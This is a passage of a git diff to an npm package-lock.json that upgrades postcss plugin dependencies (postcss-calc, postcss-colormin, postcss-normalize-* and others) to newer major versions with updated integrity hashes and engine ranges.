"sha512-SmWMSJmB8MRnnULldx0lQIyhSNvuDl9HfrZkaqqE/WHAhToYsAvDq+yAsA/kIyINDszOp3Rh0GFoNuH5Ypsm3Q==", + "version": "10.1.1", + "resolved": "https://registry.npmjs.org/postcss-calc/-/postcss-calc-10.1.1.tgz", + "integrity": "sha512-NYEsLHh8DgG/PRH2+G9BTuUdtf9ViS+vdoQ0YA5OQdGsfN4ztiwtDWNtBl9EKeqNMFnIu8IKZ0cLxEQ5r5KVMw==", "dev": true, + "license": "MIT", "dependencies": { - "postcss-selector-parser": "^6.0.9", + "postcss-selector-parser": "^7.0.0", "postcss-value-parser": "^4.2.0" }, + "engines": { + "node": "^18.12 || ^20.9 || >=22.0" + }, "peerDependencies": { - "postcss": "^8.2.2" + "postcss": "^8.4.38" + } + }, + "node_modules/postcss-calc/node_modules/postcss-selector-parser": { + "version": "7.1.0", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-7.1.0.tgz", + "integrity": "sha512-8sLjZwK0R+JlxlYcTuVnyT2v+htpdrjDOKuMcOVdYjt52Lh8hWRYpxBPoKx/Zg+bcjc3wx6fmQevMmUztS/ccA==", + "dev": true, + "license": "MIT", + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" } }, "node_modules/postcss-colormin": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-5.3.0.tgz", - "integrity": "sha512-WdDO4gOFG2Z8n4P8TWBpshnL3JpmNmJwdnfP2gbk2qBA8PWwOYcmjmI/t3CmMeL72a7Hkd+x/Mg9O2/0rD54Pg==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/postcss-colormin/-/postcss-colormin-7.0.2.tgz", + "integrity": "sha512-YntRXNngcvEvDbEjTdRWGU606eZvB5prmHG4BF0yLmVpamXbpsRJzevyy6MZVyuecgzI2AWAlvFi8DAeCqwpvA==", "dev": true, + "license": "MIT", "dependencies": { - "browserslist": "^4.16.6", + "browserslist": "^4.23.3", "caniuse-api": "^3.0.0", - "colord": "^2.9.1", + "colord": "^2.9.3", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-convert-values": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-5.1.2.tgz", - "integrity": "sha512-c6Hzc4GAv95B7suy4udszX9Zy4ETyMCgFPUDtWjdFTKH1SE9eFY/jEpHSwTH1QPuwxHpWslhckUQWbNRM4ho5g==", + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/postcss-convert-values/-/postcss-convert-values-7.0.4.tgz", + "integrity": "sha512-e2LSXPqEHVW6aoGbjV9RsSSNDO3A0rZLCBxN24zvxF25WknMPpX8Dm9UxxThyEbaytzggRuZxaGXqaOhxQ514Q==", "dev": true, + "license": "MIT", "dependencies": { - "browserslist": "^4.20.3", + "browserslist": "^4.23.3", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-discard-comments": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-5.1.2.tgz", - "integrity": "sha512-+L8208OVbHVF2UQf1iDmRcbdjJkuBF6IS29yBDSiWUIzpYaAhtNl6JYnYm12FnkeCwQqF5LeklOu6rAqgfBZqQ==", + "version": "7.0.3", + "resolved": "https://registry.npmjs.org/postcss-discard-comments/-/postcss-discard-comments-7.0.3.tgz", + "integrity": "sha512-q6fjd4WU4afNhWOA2WltHgCbkRhZPgQe7cXF74fuVB/ge4QbM9HEaOIzGSiMvM+g/cOsNAUGdf2JDzqA2F8iLA==", "dev": true, + "license": "MIT", + "dependencies": { + "postcss-selector-parser": "^6.1.2" + }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-discard-duplicates": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-5.1.0.tgz", - "integrity": "sha512-zmX3IoSI2aoenxHV6C7plngHWWhUOV3sP1T8y2ifzxzbtnuhk1EdPwm0S1bIUNaJ2eNbWeGLEwzw8huPD67aQw==", + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/postcss-discard-duplicates/-/postcss-discard-duplicates-7.0.1.tgz", + "integrity": "sha512-oZA+v8Jkpu1ct/xbbrntHRsfLGuzoP+cpt0nJe5ED2FQF8n8bJtn7Bo28jSmBYwqgqnqkuSXJfSUEE7if4nClQ==", "dev": true, + "license": "MIT", "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-discard-empty": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-5.1.1.tgz", - "integrity": "sha512-zPz4WljiSuLWsI0ir4Mcnr4qQQ5e1Ukc3i7UfE2XcrwKK2LIPIqE5jxMRxO6GbI3cv//ztXDsXwEWT3BHOGh3A==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-discard-empty/-/postcss-discard-empty-7.0.0.tgz", + "integrity": "sha512-e+QzoReTZ8IAwhnSdp/++7gBZ/F+nBq9y6PomfwORfP7q9nBpK5AMP64kOt0bA+lShBFbBDcgpJ3X4etHg4lzA==", "dev": true, + "license": "MIT", "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-discard-overridden": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-5.1.0.tgz", - "integrity": "sha512-21nOL7RqWR1kasIVdKs8HNqQJhFxLsyRfAnUDm4Fe4t4mCWL9OJiHvlHPjcd8zc5Myu89b/7wZDnOSjFgeWRtw==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-discard-overridden/-/postcss-discard-overridden-7.0.0.tgz", + "integrity": "sha512-GmNAzx88u3k2+sBTZrJSDauR0ccpE24omTQCVmaTTZFz1du6AasspjaUPMJ2ud4RslZpoFKyf+6MSPETLojc6w==", "dev": true, + "license": "MIT", "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-loader": { - "version": "7.0.1", - "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-7.0.1.tgz", - "integrity": "sha512-VRviFEyYlLjctSM93gAZtcJJ/iSkPZ79zWbN/1fSH+NisBByEiVLqpdVDrPLVSi8DX0oJo12kL/GppTBdKVXiQ==", + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/postcss-loader/-/postcss-loader-8.1.1.tgz", + "integrity": "sha512-0IeqyAsG6tYiDRCYKQJLAmgQr47DX6N7sFSWvQxt6AcupX8DIdmykuk/o/tx0Lze3ErGHJEp5OSRxrelC6+NdQ==", "dev": true, "dependencies": { - "cosmiconfig": "^7.0.0", - "klona": "^2.0.5", - "semver": "^7.3.7" + "cosmiconfig": "^9.0.0", + "jiti": "^1.20.0", + "semver": "^7.5.4" }, "engines": { - "node": ">= 14.15.0" + "node": ">= 18.12.0" }, "funding": { "type": "opencollective", "url": "https://opencollective.com/webpack" }, "peerDependencies": { + "@rspack/core": "0.x || 1.x", "postcss": "^7.0.0 || ^8.0.1", "webpack": "^5.0.0" + }, + "peerDependenciesMeta": { + "@rspack/core": { + "optional": true + }, + "webpack": { + "optional": true + } } }, "node_modules/postcss-loader/node_modules/semver": { - "version": "7.3.7", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.7.tgz", - "integrity": "sha512-QlYTucUYOews+WeEujDoEGziz4K6c47V/Bd+LjSSYcA94p+DmINdf7ncaUinThfvZyu13lN9OY1XDxt8C0Tw0g==", + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "dev": true, "dependencies": { "lru-cache": "^6.0.0" @@ -14441,107 +12321,114 @@ } }, "node_modules/postcss-merge-longhand": { - "version": "5.1.6", - "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-5.1.6.tgz", - "integrity": "sha512-6C/UGF/3T5OE2CEbOuX7iNO63dnvqhGZeUnKkDeifebY0XqkkvrctYSZurpNE902LDf2yKwwPFgotnfSoPhQiw==", + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/postcss-merge-longhand/-/postcss-merge-longhand-7.0.4.tgz", + "integrity": "sha512-zer1KoZA54Q8RVHKOY5vMke0cCdNxMP3KBfDerjH/BYHh4nCIh+1Yy0t1pAEQF18ac/4z3OFclO+ZVH8azjR4A==", "dev": true, + "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0", - "stylehacks": "^5.1.0" + "stylehacks": "^7.0.4" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-merge-rules": { - "version": "5.1.2", - "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-5.1.2.tgz", - "integrity": "sha512-zKMUlnw+zYCWoPN6yhPjtcEdlJaMUZ0WyVcxTAmw3lkkN/NDMRkOkiuctQEoWAOvH7twaxUUdvBWl0d4+hifRQ==", + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/postcss-merge-rules/-/postcss-merge-rules-7.0.4.tgz", + "integrity": "sha512-ZsaamiMVu7uBYsIdGtKJ64PkcQt6Pcpep/uO90EpLS3dxJi6OXamIobTYcImyXGoW0Wpugh7DSD3XzxZS9JCPg==", "dev": true, + "license": "MIT", "dependencies": { - "browserslist": "^4.16.6", + "browserslist": "^4.23.3", "caniuse-api": "^3.0.0", - "cssnano-utils": "^3.1.0", - "postcss-selector-parser": "^6.0.5" + "cssnano-utils": "^5.0.0", + "postcss-selector-parser": "^6.1.2" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-minify-font-values": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-5.1.0.tgz", - "integrity": "sha512-el3mYTgx13ZAPPirSVsHqFzl+BBBDrXvbySvPGFnQcTI4iNslrPaFq4muTkLZmKlGk4gyFAYUBMH30+HurREyA==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-minify-font-values/-/postcss-minify-font-values-7.0.0.tgz", + "integrity": "sha512-2ckkZtgT0zG8SMc5aoNwtm5234eUx1GGFJKf2b1bSp8UflqaeFzR50lid4PfqVI9NtGqJ2J4Y7fwvnP/u1cQog==", "dev": true, + "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-minify-gradients": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-5.1.1.tgz", - "integrity": "sha512-VGvXMTpCEo4qHTNSa9A0a3D+dxGFZCYwR6Jokk+/3oB6flu2/PnPXAh2x7x52EkY5xlIHLm+Le8tJxe/7TNhzw==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-minify-gradients/-/postcss-minify-gradients-7.0.0.tgz", + "integrity": "sha512-pdUIIdj/C93ryCHew0UgBnL2DtUS3hfFa5XtERrs4x+hmpMYGhbzo6l/Ir5de41O0GaKVpK1ZbDNXSY6GkXvtg==", "dev": true, + "license": "MIT", "dependencies": { - "colord": "^2.9.1", - "cssnano-utils": "^3.1.0", + "colord": "^2.9.3", + "cssnano-utils": "^5.0.0", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-minify-params": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-5.1.3.tgz", - "integrity": "sha512-bkzpWcjykkqIujNL+EVEPOlLYi/eZ050oImVtHU7b4lFS82jPnsCb44gvC6pxaNt38Els3jWYDHTjHKf0koTgg==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/postcss-minify-params/-/postcss-minify-params-7.0.2.tgz", + "integrity": "sha512-nyqVLu4MFl9df32zTsdcLqCFfE/z2+f8GE1KHPxWOAmegSo6lpV2GNy5XQvrzwbLmiU7d+fYay4cwto1oNdAaQ==", "dev": true, + "license": "MIT", "dependencies": { - "browserslist": "^4.16.6", - "cssnano-utils": "^3.1.0", + "browserslist": "^4.23.3", + "cssnano-utils": "^5.0.0", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-minify-selectors": { - "version": "5.2.1", - "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-5.2.1.tgz", - "integrity": "sha512-nPJu7OjZJTsVUmPdm2TcaiohIwxP+v8ha9NehQ2ye9szv4orirRU3SDdtUmKH+10nzn0bAyOXZ0UEr7OpvLehg==", + "version": "7.0.4", + "resolved": "https://registry.npmjs.org/postcss-minify-selectors/-/postcss-minify-selectors-7.0.4.tgz", + "integrity": "sha512-JG55VADcNb4xFCf75hXkzc1rNeURhlo7ugf6JjiiKRfMsKlDzN9CXHZDyiG6x/zGchpjQS+UAgb1d4nqXqOpmA==", "dev": true, + "license": "MIT", "dependencies": { - "postcss-selector-parser": "^6.0.5" + "cssesc": "^3.0.0", + "postcss-selector-parser": "^6.1.2" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-modules-extract-imports": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.0.0.tgz", - "integrity": "sha512-bdHleFnP3kZ4NYDhuGlVK+CMrQ/pqUm8bx/oGL93K6gVwiclvX5x0n76fYMKuIGKzlABOy13zsvqjb0f92TEXw==", + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-3.1.0.tgz", + "integrity": "sha512-k3kNe0aNFQDAZGbin48pL2VNidTF0w4/eASDsxlyspobzU3wZQLOGj7L9gfRe0Jo9/4uud09DsjFNH7winGv8Q==", "dev": true, "engines": { "node": "^10 || ^12 || >= 14" @@ -14551,9 +12438,9 @@ } }, "node_modules/postcss-modules-local-by-default": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.0.tgz", - "integrity": "sha512-sT7ihtmGSF9yhm6ggikHdV0hlziDTX7oFoXtuVWeDd3hHObNkcHRo9V3yg7vCAY7cONyxJC/XXCmmiHHcvX7bQ==", + "version": "4.0.5", + "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-4.0.5.tgz", + "integrity": "sha512-6MieY7sIfTK0hYfafw1OMEG+2bg8Q1ocHCpoWLqOKj3JXlKu4G7btkmM/B7lFubYkYWmRSPLZi5chid63ZaZYw==", "dev": true, "dependencies": { "icss-utils": "^5.0.0", @@ -14568,9 +12455,9 @@ } }, "node_modules/postcss-modules-scope": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.0.0.tgz", - "integrity": "sha512-hncihwFA2yPath8oZ15PZqvWGkWf+XUfQgUGamS4LqoP1anQLOsOJw0vr7J7IwLpoY9fatA2qiGUGmuZL0Iqlg==", + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-3.2.0.tgz", + "integrity": "sha512-oq+g1ssrsZOsx9M96c5w8laRmvEu9C3adDSjI8oTcbfkrTE8hx/zfyobUoWIxaKPO8bt6S62kxpw5GqypEw1QQ==", "dev": true, "dependencies": { "postcss-selector-parser": "^6.0.4" @@ -14598,191 +12485,203 @@ } }, "node_modules/postcss-normalize-charset": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-5.1.0.tgz", - "integrity": "sha512-mSgUJ+pd/ldRGVx26p2wz9dNZ7ji6Pn8VWBajMXFf8jk7vUoSrZ2lt/wZR7DtlZYKesmZI680qjr2CeFF2fbUg==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-charset/-/postcss-normalize-charset-7.0.0.tgz", + "integrity": "sha512-ABisNUXMeZeDNzCQxPxBCkXexvBrUHV+p7/BXOY+ulxkcjUZO0cp8ekGBwvIh2LbCwnWbyMPNJVtBSdyhM2zYQ==", "dev": true, + "license": "MIT", "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-normalize-display-values": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-5.1.0.tgz", - "integrity": "sha512-WP4KIM4o2dazQXWmFaqMmcvsKmhdINFblgSeRgn8BJ6vxaMyaJkwAzpPpuvSIoG/rmX3M+IrRZEz2H0glrQNEA==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-display-values/-/postcss-normalize-display-values-7.0.0.tgz", + "integrity": "sha512-lnFZzNPeDf5uGMPYgGOw7v0BfB45+irSRz9gHQStdkkhiM0gTfvWkWB5BMxpn0OqgOQuZG/mRlZyJxp0EImr2Q==", "dev": true, + "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-normalize-positions": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-5.1.1.tgz", - "integrity": "sha512-6UpCb0G4eofTCQLFVuI3EVNZzBNPiIKcA1AKVka+31fTVySphr3VUgAIULBhxZkKgwLImhzMR2Bw1ORK+37INg==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-positions/-/postcss-normalize-positions-7.0.0.tgz", + "integrity": "sha512-I0yt8wX529UKIGs2y/9Ybs2CelSvItfmvg/DBIjTnoUSrPxSV7Z0yZ8ShSVtKNaV/wAY+m7bgtyVQLhB00A1NQ==", "dev": true, + "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-normalize-repeat-style": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-5.1.1.tgz", - "integrity": "sha512-mFpLspGWkQtBcWIRFLmewo8aC3ImN2i/J3v8YCFUwDnPu3Xz4rLohDO26lGjwNsQxB3YF0KKRwspGzE2JEuS0g==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-repeat-style/-/postcss-normalize-repeat-style-7.0.0.tgz", + "integrity": "sha512-o3uSGYH+2q30ieM3ppu9GTjSXIzOrRdCUn8UOMGNw7Af61bmurHTWI87hRybrP6xDHvOe5WlAj3XzN6vEO8jLw==", "dev": true, + "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-normalize-string": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-5.1.0.tgz", - "integrity": "sha512-oYiIJOf4T9T1N4i+abeIc7Vgm/xPCGih4bZz5Nm0/ARVJ7K6xrDlLwvwqOydvyL3RHNf8qZk6vo3aatiw/go3w==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-string/-/postcss-normalize-string-7.0.0.tgz", + "integrity": "sha512-w/qzL212DFVOpMy3UGyxrND+Kb0fvCiBBujiaONIihq7VvtC7bswjWgKQU/w4VcRyDD8gpfqUiBQ4DUOwEJ6Qg==", "dev": true, + "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-normalize-timing-functions": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-5.1.0.tgz", - "integrity": "sha512-DOEkzJ4SAXv5xkHl0Wa9cZLF3WCBhF3o1SKVxKQAa+0pYKlueTpCgvkFAHfk+Y64ezX9+nITGrDZeVGgITJXjg==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-timing-functions/-/postcss-normalize-timing-functions-7.0.0.tgz", + "integrity": "sha512-tNgw3YV0LYoRwg43N3lTe3AEWZ66W7Dh7lVEpJbHoKOuHc1sLrzMLMFjP8SNULHaykzsonUEDbKedv8C+7ej6g==", "dev": true, + "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-normalize-unicode": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-5.1.0.tgz", - "integrity": "sha512-J6M3MizAAZ2dOdSjy2caayJLQT8E8K9XjLce8AUQMwOrCvjCHv24aLC/Lps1R1ylOfol5VIDMaM/Lo9NGlk1SQ==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/postcss-normalize-unicode/-/postcss-normalize-unicode-7.0.2.tgz", + "integrity": "sha512-ztisabK5C/+ZWBdYC+Y9JCkp3M9qBv/XFvDtSw0d/XwfT3UaKeW/YTm/MD/QrPNxuecia46vkfEhewjwcYFjkg==", "dev": true, + "license": "MIT", "dependencies": { - "browserslist": "^4.16.6", + "browserslist": "^4.23.3", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-normalize-url": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-5.1.0.tgz", - "integrity": "sha512-5upGeDO+PVthOxSmds43ZeMeZfKH+/DKgGRD7TElkkyS46JXAUhMzIKiCa7BabPeIy3AQcTkXwVVN7DbqsiCew==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-url/-/postcss-normalize-url-7.0.0.tgz", + "integrity": "sha512-+d7+PpE+jyPX1hDQZYG+NaFD+Nd2ris6r8fPTBAjE8z/U41n/bib3vze8x7rKs5H1uEw5ppe9IojewouHk0klQ==", "dev": true, + "license": "MIT", "dependencies": { - "normalize-url": "^6.0.1", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-normalize-whitespace": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-5.1.1.tgz", - "integrity": "sha512-83ZJ4t3NUDETIHTa3uEg6asWjSBYL5EdkVB0sDncx9ERzOKBVJIUeDO9RyA9Zwtig8El1d79HBp0JEi8wvGQnA==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-normalize-whitespace/-/postcss-normalize-whitespace-7.0.0.tgz", + "integrity": "sha512-37/toN4wwZErqohedXYqWgvcHUGlT8O/m2jVkAfAe9Bd4MzRqlBmXrJRePH0e9Wgnz2X7KymTgTOaaFizQe3AQ==", "dev": true, + "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-ordered-values": { - "version": "5.1.3", - "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-5.1.3.tgz", - "integrity": "sha512-9UO79VUhPwEkzbb3RNpqqghc6lcYej1aveQteWY+4POIwlqkYE21HKWaLDF6lWNuqCobEAyTovVhtI32Rbv2RQ==", + "version": "7.0.1", + "resolved": "https://registry.npmjs.org/postcss-ordered-values/-/postcss-ordered-values-7.0.1.tgz", + "integrity": "sha512-irWScWRL6nRzYmBOXReIKch75RRhNS86UPUAxXdmW/l0FcAsg0lvAXQCby/1lymxn/o0gVa6Rv/0f03eJOwHxw==", "dev": true, + "license": "MIT", "dependencies": { - "cssnano-utils": "^3.1.0", + "cssnano-utils": "^5.0.0", "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-reduce-initial": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-5.1.0.tgz", - "integrity": "sha512-5OgTUviz0aeH6MtBjHfbr57tml13PuedK/Ecg8szzd4XRMbYxH4572JFG067z+FqBIf6Zp/d+0581glkvvWMFw==", + "version": "7.0.2", + "resolved": "https://registry.npmjs.org/postcss-reduce-initial/-/postcss-reduce-initial-7.0.2.tgz", + "integrity": "sha512-pOnu9zqQww7dEKf62Nuju6JgsW2V0KRNBHxeKohU+JkHd/GAH5uvoObqFLqkeB2n20mr6yrlWDvo5UBU5GnkfA==", "dev": true, + "license": "MIT", "dependencies": { - "browserslist": "^4.16.6", + "browserslist": "^4.23.3", "caniuse-api": "^3.0.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-reduce-transforms": { - "version": "5.1.0", - "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-5.1.0.tgz", - "integrity": "sha512-2fbdbmgir5AvpW9RLtdONx1QoYG2/EtqpNQbFASDlixBbAYuTcJ0dECwlqNqH7VbaUnEnh8SrxOe2sRIn24XyQ==", + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/postcss-reduce-transforms/-/postcss-reduce-transforms-7.0.0.tgz", + "integrity": "sha512-pnt1HKKZ07/idH8cpATX/ujMbtOGhUfE+m8gbqwJE05aTaNw8gbo34a2e3if0xc0dlu75sUOiqvwCGY3fzOHew==", "dev": true, + "license": "MIT", "dependencies": { "postcss-value-parser": "^4.2.0" }, "engines": { - "node": "^10 || ^12 || >=14.0" + "node": "^18.12.0 || ^20.9.0 || >=22.0" }, "peerDependencies": { - "postcss": "^8.2.15" + "postcss": "^8.4.31" } }, "node_modules/postcss-selector-parser": { - "version": "6.0.10", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz", - "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==", + "version": "6.1.2", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.1.2.tgz", + "integrity": "sha512-Q8qQfPiZ+THO/3ZrOrO0cJJKfpYCagtMUkXbnEfmgUjwXg6z/WBeOyS9APBBPCTSiDV+s4SwQGu8yFsiMRIudg==", "dev": true, + "license": "MIT", "dependencies": { "cssesc": "^3.0.0", "util-deprecate": "^1.0.2" @@ -14792,34 +12691,36 @@ } }, "node_modules/postcss-svgo": { - "version": "5.1.0", - "resolved": 